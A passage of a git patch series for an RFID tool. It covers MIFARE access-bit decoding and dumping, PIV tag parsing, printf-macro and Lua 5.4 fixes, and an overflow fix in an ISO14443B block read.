inverse of the first nybble. + It is there to trap tranmission errors, so we can just ignore it/them. + + So our Access Control value is : {c, f, e} == {7, 8, 8} + + Let's convert those nybbles to binary + (c) 7 --> 0111 + (f) 8 --> 1000 + (e) 8 --> 1000 + |||| ...and transpose them: + |||| + |||`--- 100 - Block 0 Access bits + ||`---- 100 - Block 1 Access bits + |`----- 100 - Block 2 Access bits + `------ 011 - Block 3 Access bits [Sector Trailer] + + Now we can use the lookup table [Table 3] to work out what we can do + with the Sector Trailer (Block(S,3)): + + | Key A | | Access Bits | | Key B | + | read ¦ write | | read ¦ write | | read ¦ write | + +------¦-------+ +------¦-------+ +------¦-------+ + 000 : | -- ¦ KeyA | | KeyA ¦ -- | | KeyA ¦ KeyA | + 001 : | -- ¦ KeyA | | KeyA ¦ KeyA | | KeyA ¦ KeyA | Transport Mode + 010 : | -- ¦ -- | | KeyA ¦ -- | | KeyA ¦ -- | + + 011 : | -- ¦ KeyB | | A+B ¦ KeyB | | -- ¦ KeyB | <-- Our Card! + + 100 : | -- ¦ KeyB | | A+B ¦ -- | | -- ¦ KeyB | + 101 : | -- ¦ -- | | A+B ¦ KeyB | | -- ¦ -- | + 110 : | -- ¦ -- | | A+B ¦ -- | | -- ¦ -- | }__ + 111 : | -- ¦ -- | | A+B ¦ -- | | -- ¦ -- | } The Same!? + + Our card uses 011, for (both of) the (used) Sector Trailer(s). So: + Both Key A and Key B can READ the Access Bits + Key B can (additionally) WRITE to Key A, Key B (itself), and the Access Bits + + Then we can do a similar lookup for the 3 data Blocks (in this Sector) + This time using [Table 4] + + | Data | Counter | + | read ¦ write | Inc ¦ Dec | + +------¦-------+------¦------+ + 000 : | A+B ¦ A+B | A+B ¦ A+B | Transport Mode + 001 : | A+B ¦ -- | -- ¦ A+B | + 010 : | A+B ¦ -- | -- ¦ -- | + 011 : | KeyB ¦ KeyB | -- ¦ -- | + + 100 : | A+B ¦ KeyB | -- ¦ -- | <-- Our Card! + + 101 : | KeyB ¦ -- | -- ¦ -- | + 110 : | A+B ¦ KeyB | KeyB ¦ A+B | + 111 : | -- ¦ -- | -- ¦ -- | + + Our card uses 100, for all of the (used) Sectors. So: + Both Key A and Key B can READ the Block + Only Key B can WRITE to the Block + The block cannot be used as a "counter" because: + Neither key can perform increment nor decrement commands + + WARNING: + IF YOU PLAN TO CHANGE ACCESS BITS, RTFM, THERE IS MUCH TO CONSIDER ! +''' +#============================================================================== +def dumpAcl(): + global blkn + + aclkh = [] # key header + aclk = [0] * 8 # key lookup + aclkx = [] # key output + + lprint(f"{prompt}") + lprint(f"{prompt} =====================") + lprint(f"{prompt} Access Control List") + lprint(f"{prompt} =====================") + + aclkh.append(" _______________________________________________________ ") + aclkh.append("| | Sector Trailers |") + aclkh.append("| |----------------------------------------------|") + aclkh.append("| Sector |____Key_A_____||_Access_Bits__||____Key_B_____|") + aclkh.append("| | read ¦ write || read ¦ write || read ¦ write |") + aclkh.append("|--------+------¦-------++------¦-------++------¦-------|") + # "| xx | -- ¦ KeyA || KeyA ¦ -- || KeyA ¦ KeyA |" + aclk[0] = "| -- ¦ KeyA || KeyA ¦ -- || KeyA ¦ KeyA | [000]" + aclk[1] = "| -- ¦ KeyA || KeyA ¦ KeyA || KeyA ¦ KeyA | [001]" + aclk[2] = "| -- ¦ -- || KeyA ¦ -- || KeyA ¦ -- | [010]" + aclk[3] = "| -- ¦ KeyB || A+B ¦ KeyB || -- ¦ KeyB | [011]" + aclk[4] = "| -- ¦ KeyB || A+B ¦ -- || -- ¦ KeyB | [100]" + aclk[5] = "| -- ¦ -- || A+B ¦ KeyB || -- ¦ -- | [101]" + aclk[6] = "| -- ¦ -- || A+B ¦ -- || -- ¦ -- | [110]" # yes, the same!? + aclk[7] = "| -- ¦ -- || A+B ¦ -- || -- ¦ -- | [111]" # ... + + acldh = [] # data header + acld = [0] * 8 # data lookup + acldx = [] # data output + + acldh.append(" _____________________________________ ") + acldh.append("| | Data Blocks |") + acldh.append("| |-----------------------------|") + acldh.append("| Block | Data || Counter |") + acldh.append("| | read ¦ write || Inc ¦ Dec |") + acldh.append("|-------+------¦-------++------¦------+") + # "| xxx | A+B ¦ A+B || A+B ¦ A+B | " + acld[0] = "| A+B ¦ A+B || A+B ¦ A+B | [000]" + acld[1] = "| A+B ¦ -- || -- ¦ A+B | [001]" + acld[2] = "| A+B ¦ -- || -- ¦ -- | [010]" + acld[3] = "| KeyB ¦ KeyB || -- ¦ -- | [011]" + acld[4] = "| A+B ¦ KeyB || -- ¦ -- | [100]" + acld[5] = "| KeyB ¦ -- || -- ¦ -- | [101]" + acld[6] = "| A+B ¦ KeyB || KeyB ¦ A+B | [110]" + acld[7] = "| -- ¦ -- || -- ¦ -- | [111]" + + idx = [0] * (16+2) + + # --- calculate the ACL indices for each sector:block --- + for d in data: + bn = int(d[0:3], 10) + + if ((bn % 4) == 3): + sn = (bn // 4) + sec = sn if sn < 16 else sn -16 + + c = int(d[27], 16) + f = int(d[31], 16) + e = int(d[30], 16) + r0 = ((c & (2**0)) << 2) | ((f & (2**0)) << 1) | ((e & (2**0)) ) + r1 = ((c & (2**1)) << 1) | ((f & (2**1)) ) | ((e & (2**1)) >> 1) + r2 = ((c & (2**2)) ) | ((f & (2**2)) >> 1) | ((e & (2**2)) >> 2) + r3 = ((c & (2**3)) >> 1) | ((f & (2**3)) >> 2) | ((e & (2**3)) >> 3) + idx[sec] = [r0, r1, r2, r3] + + # --- build the ACL conversion table --- + for d in data: + bn = int(d[0:3], 10) + sn = (bn // 4) + sec = sn if sn < 16 else sn -16 + + if ((bn%4) == 3): + aclkx.append(f"| {sn:2d} " + aclk[idx[sec][bn%4]] + + f" {{{d[24:32]}}} -> {{{d[27]}{d[31]}{d[30]}}}") + else: + acldx.append(f"| {bn:3d} " + acld[idx[sec][bn%4]]) + + # --- print it all out --- + for l in aclkh: + lprint(f"{prompt} {l}") + i = 0 + for l in aclkx: + lprint(f"{prompt} {l}") + if (i % 4) == 3: lprint(f"{prompt} | | ¦ || ¦ || ¦ |") + i += 1 + + lprint(f"{prompt}") + + for l in acldh: + lprint(f"{prompt} {l}") + i = 0 + for l in acldx: + lprint(f"{prompt} {l}") + if (i % 3) == 2: lprint(f"{prompt} | | ¦ || ¦ |") + i += 1 + +#+============================================================================= +# Full Dump +# >> "uid" +# >> "dump18" +#============================================================================== +def diskDump(): + global uid + global dump18 + + dump18 = f"{dpath}hf-mf-{uid:08X}-dump18.bin" + + lprint(prompt) + lprint(f"{prompt} Dump Card Data to file: {dump18}") + + bad = False + with open(dump18, 'wb') as f: + for d in data: + if "--" in d[6:53]: bad = True + b = bytes.fromhex(d[6:53].replace(" ", "").replace("--","FF")) + f.write(b) + if bad: lprint(f"{prompt} Bad data exists, and has been saved as 0xFF") + +#+============================================================================= +# Dump MAD +# >> "dump18" +#============================================================================== +def dumpMad(): + global dump18 + + lprint(f"{prompt}") + lprint(f"{prompt} ====================================") + lprint(f"{prompt} MiFare Application Directory (MAD)") + lprint(f"{prompt} ====================================") + lprint(f"{prompt}") + + cmd=f"hf mf mad --verbose --file {dump18}" + print(f"{prompt} `{cmd}`") + + lprint(f"{prompt}") + lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + + lprint("") + res = p.console(f"{cmd}") + + for line in p.grabbed_output.split('\n'): + lprint(line) + + lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + +#++============================================================================ +if __name__ == "__main__": + main() diff --git a/client/pyscripts/fm11rf08s_recovery.py b/client/pyscripts/fm11rf08s_recovery.py index 1cfd710c2..490ed5e44 100755 --- a/client/pyscripts/fm11rf08s_recovery.py +++ b/client/pyscripts/fm11rf08s_recovery.py @@ -623,7 +623,7 @@ def recovery(init_check=False, final_check=False, keep=False, debug=False, suppl show("---- TOTAL: " + color(f"{minutes:2}", fg="yellow") + " minutes " + color(f"{seconds:2}", fg="yellow") + " seconds -----------") - return (found_keys, data) + return {'keyfile':keyfile, 'found_keys':found_keys, 'dumpfile':dumpfile, 'data':data} def main(): From 1dbfb7b3a31dae80cb78566b3cec2d003e0350e7 Mon Sep 17 00:00:00 2001 From: Jean-Michel Picod Date: Wed, 22 Mar 2023 21:46:39 +0100 Subject: [PATCH 064/155] Correctly parse extended length (MistialDev's card) --- client/src/cmdpiv.c | 50 ++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 49 insertions(+), 1 deletion(-) diff --git a/client/src/cmdpiv.c b/client/src/cmdpiv.c index 8264c5936..688b37785 100644 --- a/client/src/cmdpiv.c +++ b/client/src/cmdpiv.c @@ -107,6 +107,7 @@ enum piv_tag_t { PIV_TAG_GUID, PIV_TAG_CERT, PIV_TAG_FASCN, + PIV_TAG_INTARRAY, }; struct piv_tag { @@ -145,6 +146,13 @@ static const struct piv_tag_enum PIV_CERT_INFO[] = { PIV_ENUM_FINISH, }; +static const char *PIV_EXTLEN_INFO[] = { + "Max command len w/o secure messaging", + "Max response len w/o secure messaging", + "Max command len w/ secure messaging", + "Max response len w/ secure messaging" +}; + static const struct piv_tag piv_tags[] = { { 0x00, "Unknown ???", PIV_TAG_HEXDUMP, NULL }, { 0x01, "Name", PIV_TAG_PRINTSTR, NULL }, @@ -179,6 +187,7 @@ static const struct piv_tag piv_tags[] = { { 0x79, "Coexistent tag allocation authority", PIV_TAG_HEXDUMP, NULL }, { 0x7f21, "Intermediate CVC", PIV_TAG_HEXDUMP, NULL }, { 0x7f60, "Biometric Information Template", PIV_TAG_GENERIC, NULL }, + { 0x7f66, "Extended length buffer information", PIV_TAG_INTARRAY, PIV_EXTLEN_INFO }, { 0x80, "Cryptographic algorithm identifier", PIV_TAG_ENUM, PIV_CRYPTO_ALG }, @@ -352,6 +361,42 @@ static void piv_tag_dump_tlv(const struct tlv *tlv, const struct piv_tag *tag, i } +static void piv_tag_dump_int_array(const struct tlv *tlv, const struct piv_tag *tag, int level) { + int index = 0; + + const char **labels = (const char **) tag->data; + const unsigned char *buf = tlv->value; + size_t left = tlv->len; + + while (left) { + struct tlv sub_tlv; + unsigned long v = 0; + if (!tlv_parse_tl(&buf, &left, &sub_tlv)) { + PrintAndLogEx(INFO, "%*sInvalid Tag-Len", (level * 4), " "); + continue; + } + sub_tlv.value = buf; + if (index < ARRAYLEN(labels)) { + PrintAndLogEx(INFO, "%*s--%2x[%02zx] '%s':" NOLF, (level * 4), " ", sub_tlv.tag, sub_tlv.len, labels[index]); + } else { + PrintAndLogEx(INFO, "%*s--%2x[%02zx] 'Unknown item index %d':" NOLF, (level * 4), " ", sub_tlv.tag, sub_tlv.len, index); + } + if (sub_tlv.len <= sizeof(v)) { + // We have enough space to convert to integer + for (int i = 0; i < sub_tlv.len; i++) { + v = (v << 8) + sub_tlv.value[i]; + } + PrintAndLogEx(NORMAL, _YELLOW_("%u") " bytes (" _YELLOW_("%zx") ")", v, v); + } else { + // Number is to big. Just print hex value + PrintAndLogEx(NORMAL, _YELLOW_("0x%s"), sprint_hex_inrow(sub_tlv.value, sub_tlv.len)); + } + buf += sub_tlv.len; + left -= sub_tlv.len; + index++; + } +} + static void piv_print_cert(const uint8_t *buf, const size_t len, int level) { char prefix[256] = {0}; PrintAndLogEx(NORMAL, ""); @@ -454,7 +499,7 @@ static bool piv_tag_dump(const struct tlv *tlv, int level) { break; case PIV_TAG_PRINTSTR: PrintAndLogEx(NORMAL, " '" NOLF); - for (size_t i = 0; i < tlv->len; i++) { + for (size_t i = 0; i < tlv->len && tlv->value[i]; i++) { PrintAndLogEx(NORMAL, _YELLOW_("%c") NOLF, tlv->value[i]); } PrintAndLogEx(NORMAL, "'"); @@ -481,6 +526,9 @@ static bool piv_tag_dump(const struct tlv *tlv, int level) { piv_print_fascn(tlv->value, tlv->len, level + 2); } break; + case PIV_TAG_INTARRAY: + piv_tag_dump_int_array(tlv, tag, level + 2); + break; }; return true; From bb30b9dc8b470a5d2cdae109bb5c3257dba026bd Mon Sep 17 00:00:00 2001 From: Jean-Michel Picod Date: Wed, 22 Mar 2023 21:58:38 +0100 Subject: [PATCH 065/155] Make CodeQL happy --- client/src/cmdpiv.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/client/src/cmdpiv.c b/client/src/cmdpiv.c index 688b37785..1a6288b14 100644 --- a/client/src/cmdpiv.c +++ b/client/src/cmdpiv.c @@ -150,7 +150,8 @@ static const char *PIV_EXTLEN_INFO[] = { "Max command len w/o secure messaging", "Max response len w/o secure messaging", "Max command len w/ secure messaging", - "Max response len w/ secure messaging" + "Max response len w/ secure messaging", + NULL }; static const struct piv_tag piv_tags[] = { @@ -367,6 +368,11 @@ static void piv_tag_dump_int_array(const struct tlv *tlv, const struct piv_tag * const char **labels = (const char **) tag->data; const unsigned char *buf = tlv->value; size_t left = tlv->len; + int max_labels = 0; + + while (labels[max_labels]) { + max_labels++; + } while (left) { struct tlv sub_tlv; @@ -376,7 +382,7 @@ static void piv_tag_dump_int_array(const struct tlv *tlv, const struct piv_tag * continue; } sub_tlv.value = buf; - if (index < ARRAYLEN(labels)) { + if (index < max_labels) { PrintAndLogEx(INFO, "%*s--%2x[%02zx] '%s':" NOLF, (level * 4), " ", sub_tlv.tag, sub_tlv.len, labels[index]); } else { PrintAndLogEx(INFO, "%*s--%2x[%02zx] 'Unknown item index %d':" NOLF, (level * 4), " ", sub_tlv.tag, sub_tlv.len, index); From b02c6ece266e0f29dbcec87c799eb6b468bc8c23 Mon Sep 17 00:00:00 2001 From: Jean-Michel Picod Date: Mon, 4 Nov 2024 10:00:29 +0100 Subject: [PATCH 066/155] Fix confusion between base10 and base16 identifiers --- client/src/cmdpiv.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmdpiv.c b/client/src/cmdpiv.c index 1a6288b14..347e91246 100644 --- a/client/src/cmdpiv.c +++ b/client/src/cmdpiv.c @@ -897,7 +897,7 @@ static int CmdPIVAuthenticateSign(const char *Cmd) { arg_str0(NULL, "aid", "", "Applet ID to select. By default A0000003080000100 will be used"), arg_str1(NULL, "nonce", "", "Nonce to sign."), arg_int0(NULL, "slot", "", "Slot number. Default will be 0x9E (card auth cert)."), - arg_int0(NULL, "alg", "", "Algorithm to use to sign. Example values: 06=RSA-1024, 07=RSA-2048, 11=ECC-P256 (default), 14=ECC-P384"), + arg_int0(NULL, "alg", "", "Algorithm to use to sign. Example values: 06=RSA-1024, 07=RSA-2048, 17=ECC-P256 (default), 20=ECC-P384"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); From a0214f12d4149a2f012e8b5787ffc76dd83832c3 Mon Sep 17 00:00:00 2001 From: Jean-Michel Picod Date: Mon, 4 Nov 2024 11:21:53 +0100 Subject: [PATCH 067/155] Move all integer printing to use PRI* macros Hopefully will make CodeQL happy this time. --- client/src/cmdpiv.c | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/client/src/cmdpiv.c b/client/src/cmdpiv.c index 347e91246..264c755fe 100644 --- a/client/src/cmdpiv.c +++ b/client/src/cmdpiv.c @@ -333,12 +333,12 @@ static void piv_tag_dump_enum(const struct tlv *tlv, const struct piv_tag *tag, const struct piv_tag_enum *values = tag->data; for (size_t i = 0; values[i].name != NULL; i++) { if (values[i].value == tlv->value[0]) { - PrintAndLogEx(NORMAL, " %u - '" _YELLOW_("%s")"'", + PrintAndLogEx(NORMAL, " %" PRIu8 " - '" _YELLOW_("%s")"'", tlv->value[0], values[i].name); return; } } - PrintAndLogEx(NORMAL, " %u - " _RED_("Unknown??"), tlv->value[0]); + PrintAndLogEx(NORMAL, " %" PRIu8 " - " _RED_("Unknown??"), tlv->value[0]); } static void piv_tag_dump_tlv(const struct tlv *tlv, const struct piv_tag *tag, int level) { @@ -383,16 +383,16 @@ static void piv_tag_dump_int_array(const struct tlv *tlv, const struct piv_tag * } sub_tlv.value = buf; if (index < max_labels) { - PrintAndLogEx(INFO, "%*s--%2x[%02zx] '%s':" NOLF, (level * 4), " ", sub_tlv.tag, sub_tlv.len, labels[index]); + PrintAndLogEx(INFO, "%*s--%2" PRIx32 "[%02z" PRIx32 "] '%s':" NOLF, (level * 4), " ", sub_tlv.tag, sub_tlv.len, labels[index]); } else { - PrintAndLogEx(INFO, "%*s--%2x[%02zx] 'Unknown item index %d':" NOLF, (level * 4), " ", sub_tlv.tag, sub_tlv.len, index); + PrintAndLogEx(INFO, "%*s--%2" PRIx32 "[%02z" PRIx32 "] 'Unknown item index %" PRId32 "':" NOLF, (level * 4), " ", sub_tlv.tag, sub_tlv.len, index); } if (sub_tlv.len <= sizeof(v)) { // We have enough space to convert to integer for (int i = 0; i < sub_tlv.len; i++) { v = (v << 8) + sub_tlv.value[i]; } - PrintAndLogEx(NORMAL, _YELLOW_("%u") " bytes (" _YELLOW_("%zx") ")", v, v); + PrintAndLogEx(NORMAL, _YELLOW_("%" PRIu32) " bytes (" _YELLOW_("%" PRIx32) ")", v, v); } else { // Number is to big. Just print hex value PrintAndLogEx(NORMAL, _YELLOW_("0x%s"), sprint_hex_inrow(sub_tlv.value, sub_tlv.len)); @@ -466,7 +466,7 @@ static void piv_print_fascn(const uint8_t *buf, const size_t len, int level) { PrintAndLogEx(NORMAL, "%s" NOLF, encoded[tmp & 0x1f]); } uint8_t lrc = buf[24] & 0x1f; - PrintAndLogEx(NORMAL, " LRC=[" _YELLOW_("%02x") "]", lrc); + PrintAndLogEx(NORMAL, " LRC=[" _YELLOW_("%02" PRIx8 ) "]", lrc); } static bool piv_tag_dump(const struct tlv *tlv, int level) { @@ -477,7 +477,7 @@ static bool piv_tag_dump(const struct tlv *tlv, int level) { const struct piv_tag *tag = piv_get_tag(tlv); - PrintAndLogEx(INFO, "%*s--%2x[%02zx] '%s':" NOLF, (level * 4), " ", tlv->tag, tlv->len, tag->name); + PrintAndLogEx(INFO, "%*s--%2" PRIu32 "[%02z" PRIx32 "] '%s':" NOLF, (level * 4), " ", tlv->tag, tlv->len, tag->name); switch (tag->type) { case PIV_TAG_GENERIC: @@ -491,7 +491,7 @@ static bool piv_tag_dump(const struct tlv *tlv, int level) { PrintAndLogEx(NORMAL, " '" _YELLOW_("%s")"'", sprint_hex_inrow(tlv->value, tlv->len)); break; case PIV_TAG_NUMERIC: - PrintAndLogEx(NORMAL, " " _YELLOW_("%lu"), piv_value_numeric(tlv, 0, tlv->len * 2)); + PrintAndLogEx(NORMAL, " " _YELLOW_("%" PRIu32), piv_value_numeric(tlv, 0, tlv->len * 2)); break; case PIV_TAG_YYYYMMDD: piv_tag_dump_yyyymmdd(tlv, tag, level); @@ -516,9 +516,9 @@ static bool piv_tag_dump(const struct tlv *tlv, int level) { } else { struct guid guid = {0}; parse_guid(tlv->value, &guid); - PrintAndLogEx(NORMAL, " " _YELLOW_("{%08x-%04x-%04x-") NOLF, guid.part1, guid.part2, guid.part3); + PrintAndLogEx(NORMAL, " " _YELLOW_("{%08" PRIx32 "-%04" PRIx16 "-%04" PRIx16 "-") NOLF, guid.part1, guid.part2, guid.part3); for (size_t i = 0; i < 8; i++) { - PrintAndLogEx(NORMAL, _YELLOW_("%02x") NOLF, guid.data[i]); + PrintAndLogEx(NORMAL, _YELLOW_("%02" PRIx8) NOLF, guid.data[i]); } PrintAndLogEx(NORMAL, _YELLOW_("}")); } @@ -681,7 +681,7 @@ static int PivGetDataByCidAndPrint(Iso7816CommandChannel channel, const struct p break; default: if (verbose == true) { - PrintAndLogEx(INFO, "APDU response status: %04x - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + PrintAndLogEx(INFO, "APDU response status: %04" PRIx16 " - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); } break; } @@ -709,7 +709,7 @@ static int PivAuthenticateSign(Iso7816CommandChannel channel, uint8_t alg_id, ui const size_t MAX_NONCE_LEN = 0x7a; if (nonce_len > MAX_NONCE_LEN) { if (verbose == true) { - PrintAndLogEx(WARNING, "Nonce cannot exceed %zu bytes. Got %zu bytes.", MAX_NONCE_LEN, nonce_len); + PrintAndLogEx(WARNING, "Nonce cannot exceed %" PRIi32 " bytes. Got %" PRIi32 " bytes.", MAX_NONCE_LEN, nonce_len); } return PM3_EINVARG; } @@ -725,12 +725,12 @@ static int PivAuthenticateSign(Iso7816CommandChannel channel, uint8_t alg_id, ui size_t len = 0; int res = Iso7816ExchangeEx(channel, false, true, apdu, false, 0, buf, APDU_RES_LEN, &len, &sw); if (res != PM3_SUCCESS) { - PrintAndLogEx(FAILED, "Sending APDU failed with code %d", res); + PrintAndLogEx(FAILED, "Sending APDU failed with code %" PRId32, res); return res; } if (sw != ISO7816_OK) { if (verbose == true) { - PrintAndLogEx(INFO, "Unexpected APDU response status: %04x - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + PrintAndLogEx(INFO, "Unexpected APDU response status: %04" PRIx16 " - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); } return PM3_EFAILED; } @@ -751,7 +751,7 @@ static int PivSelect(Iso7816CommandChannel channel, bool activateField, bool lea int res = Iso7816Select(channel, activateField, leaveFieldOn, applet, appletLen, buf, sizeof(buf), &len, &sw); if ((sw != 0) && (silent == false)) { - PrintAndLogEx(INFO, "APDU response status: %04x - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + PrintAndLogEx(INFO, "APDU response status: %04" PRIx16 " - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); } if (res != PM3_SUCCESS || sw != ISO7816_OK) { @@ -858,7 +858,7 @@ static int CmdPIVGetData(const char *Cmd) { CLIParserFree(ctx); if ((tag_len < 1) || (tag_len > 3)) { - PrintAndLogEx(WARNING, "Tag should be between 1 and 3 bytes. Got %i", tag_len); + PrintAndLogEx(WARNING, "Tag should be between 1 and 3 bytes. Got %" PRIi32, tag_len); return PM3_EINVARG; } From 68734f419172357cbbb4afbdde2cd6d2e4301b10 Mon Sep 17 00:00:00 2001 From: Jean-Michel Picod Date: Mon, 4 Nov 2024 11:31:30 +0100 Subject: [PATCH 068/155] Fix some PRI* macro usage. --- client/src/cmdpiv.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/client/src/cmdpiv.c b/client/src/cmdpiv.c index 264c755fe..abd464045 100644 --- a/client/src/cmdpiv.c +++ b/client/src/cmdpiv.c @@ -392,7 +392,7 @@ static void piv_tag_dump_int_array(const struct tlv *tlv, const struct piv_tag * for (int i = 0; i < sub_tlv.len; i++) { v = (v << 8) + sub_tlv.value[i]; } - PrintAndLogEx(NORMAL, _YELLOW_("%" PRIu32) " bytes (" _YELLOW_("%" PRIx32) ")", v, v); + PrintAndLogEx(NORMAL, _YELLOW_("%" PRIu64) " bytes (" _YELLOW_("%" PRIx64) ")", v, v); } else { // Number is to big. Just print hex value PrintAndLogEx(NORMAL, _YELLOW_("0x%s"), sprint_hex_inrow(sub_tlv.value, sub_tlv.len)); @@ -491,7 +491,7 @@ static bool piv_tag_dump(const struct tlv *tlv, int level) { PrintAndLogEx(NORMAL, " '" _YELLOW_("%s")"'", sprint_hex_inrow(tlv->value, tlv->len)); break; case PIV_TAG_NUMERIC: - PrintAndLogEx(NORMAL, " " _YELLOW_("%" PRIu32), piv_value_numeric(tlv, 0, tlv->len * 2)); + PrintAndLogEx(NORMAL, " " _YELLOW_("%" PRIu64), piv_value_numeric(tlv, 0, tlv->len * 2)); break; case PIV_TAG_YYYYMMDD: piv_tag_dump_yyyymmdd(tlv, tag, level); @@ -709,7 +709,7 @@ static int PivAuthenticateSign(Iso7816CommandChannel channel, uint8_t alg_id, ui const size_t MAX_NONCE_LEN = 0x7a; if (nonce_len > MAX_NONCE_LEN) { if (verbose == true) { - PrintAndLogEx(WARNING, "Nonce cannot exceed %" PRIi32 " bytes. Got %" PRIi32 " bytes.", MAX_NONCE_LEN, nonce_len); + PrintAndLogEx(WARNING, "Nonce cannot exceed %" PRIu64 " bytes. Got %" PRIu64 " bytes.", MAX_NONCE_LEN, nonce_len); } return PM3_EINVARG; } From ae1de2c6c828925aacd5b2908a9f8d011d1d0f69 Mon Sep 17 00:00:00 2001 From: Jean-Michel Picod Date: Mon, 4 Nov 2024 12:16:37 +0100 Subject: [PATCH 069/155] Start fixing legic script to work with lu5.4 --- client/luascripts/hf_legic.lua | 39 ++++++++++++++++++++++------------ 1 file changed, 26 insertions(+), 13 deletions(-) diff --git a/client/luascripts/hf_legic.lua b/client/luascripts/hf_legic.lua index fb98b777e..705ddcbf2 100644 --- a/client/luascripts/hf_legic.lua +++ b/client/luascripts/hf_legic.lua @@ -332,14 +332,29 @@ local function split(str, sep) return fields end +--- +-- join table with a separator +local function join(list, sep) + local sep = sep or ',' + local len = #list + if len == 0 then return "" end + local s = list[1] + for i = 2, len do + s = s .. sep .. list[i] + end + return s +end + --- -- check availability of file function file_check(file_name) if not file_name then return false, "" end local arr = split(file_name, ".") - local path = core.search_file(arr[1], "."..arr[2]) - if (path == nil) then return false end + local ext = table.remove(arr) + local name = join(arr, '.') + local path = core.search_file(name, "."..ext) + if (path == nil) then return false, "" end local file_found = io.open(path, "r") if file_found == nil then @@ -380,7 +395,9 @@ function getInputBytes(infile) local bytes = {} local arr = split(infile, ".") - local path = core.search_file(arr[1], "."..arr[2]) + local ext = table.remove(arr) + local name = join(arr, '.') + local path = core.search_file(name, "."..ext) if (path == nil) then oops("failed to read from file ".. infile); return false; end local fhi,err = io.open(path,"rb") @@ -443,7 +460,7 @@ function bytesToTag(bytes, tag) tag.WRC=("%d"):format(bbit("0x"..bytes[8],4,3)) tag.RD=("%d"):format(bbit("0x"..bytes[8],7,1)) if (tag.Type=="SAM" and tag.raw=='9f') then - tag.Stamp_len=(tonumber(0xfc,10)-tonumber(bbit("0x"..tag.DCFh,0,8),10)) + tag.Stamp_len=(0xfc-bbit("0x"..tag.DCFh,0,8)) elseif (tag.Type=="SAM" and (tag.raw=='08' or tag.raw=='09')) then tag.Stamp_len = tonumber(tag.raw,10) end @@ -756,20 +773,16 @@ end -- read from pm3 into virtual-tag function readFromPM3() local tag, bytes, infile - --infile="legic.temp" infile=getRandomTempName() core.console("hf legic dump -f "..infile) tag=readFile(infile..".bin") res, path = file_check(infile..".bin") - if not res then return nil end - os.remove(path) + if res then os.remove(path) end - res, path = file_check(infile..".eml") - os.remove(path) res, path = file_check(infile..".json") - os.remove(path) + if res then os.remove(path) end return tag end @@ -1690,7 +1703,7 @@ function getTokenType(DCFl) 0x30–0x6f SAM 0x70–0x7f GAM ]]-- - local tt = tonumber(bbit("0x"..DCFl,0,7),10) + local tt = bbit("0x"..DCFl,0,7) if (tt >= 0 and tt <= 47) then tt = "IAM" elseif (tt == 49) then tt = "SAM63" elseif (tt == 48) then tt = "SAM64" @@ -1744,9 +1757,9 @@ function getSegmentData(bytes, start, index) -- wrp (write proteted) = byte 2 segment.WRP = tonumber(bytes[start+2],16) -- wrc (write control) - bit 4-6 of byte 3 - segment.WRC = tonumber(bbit("0x"..bytes[start+3],4,3),16) + segment.WRC = bbit("0x"..bytes[start+3],4,3) -- rd (read disabled) - bit 7 of byte 3 - segment.RD = tonumber(bbit("0x"..bytes[start+3],7,1),16) + segment.RD = bbit("0x"..bytes[start+3],7,1) -- crc byte 4 segment.crc = bytes[start+4] -- segment-data starts at segment.len - segment.header - segment.crc From 43f6d0bcfd82acd79158647e794b733758cd259f Mon Sep 17 00:00:00 2001 From: Jean-Michel Picod Date: Mon, 4 Nov 2024 12:15:46 +0100 Subject: [PATCH 070/155] Fix potential overflow in readblock --- client/src/cmdhf14b.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index e6495dae6..189b1f15b 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -1225,7 +1225,7 @@ static int CmdHF14Binfo(const char *Cmd) { // #define ISO14443B_READ_BLK 0x08 // #define ISO14443B_WRITE_BLK 0x09 -static int read_sr_block(uint8_t blockno, uint8_t *out) { +static int read_sr_block(uint8_t blockno, uint8_t *out, uint16_t out_len) { struct { uint8_t blockno; } PACKED payload; @@ -1240,7 +1240,7 @@ static int read_sr_block(uint8_t blockno, uint8_t *out) { } if (resp.status == PM3_SUCCESS && out) { - memcpy(out, resp.data.asBytes, resp.length); + memcpy(out, resp.data.asBytes, MIN(out_len, resp.length)); } return resp.status; } @@ -1583,8 +1583,8 @@ static int CmdHF14BSriRdBl(const char *Cmd) { uint8_t blocks = (cardtype == 1) ? 0x7F : 0x0F; */ - uint8_t out[4] = {0}; - int status = read_sr_block(blockno, out); + uint8_t out[ST25TB_SR_BLOCK_SIZE] = {0}; + int status = read_sr_block(blockno, out, sizeof(out)); if (status == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "block %02u... " _GREEN_("%s") " | " _GREEN_("%s"), blockno, sprint_hex(out, sizeof(out)), sprint_ascii(out, sizeof(out))); } @@ -1628,7 +1628,7 @@ static int CmdHF14BSriWrbl(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, false); int blockno = arg_get_int_def(ctx, 1, -1); int dlen = 0; - uint8_t data[4] = {0, 0, 0, 0}; + uint8_t data[ST25TB_SR_BLOCK_SIZE] = {0, 0, 0, 0}; int res = CLIParamHexToBuf(arg_get_str(ctx, 2), data, sizeof(data), &dlen); if (res) { CLIParserFree(ctx); @@ -1696,8 +1696,8 @@ static int CmdHF14BSriWrbl(const char *Cmd) { } // verify - uint8_t out[4] = {0}; - status = read_sr_block(blockno, out); + uint8_t 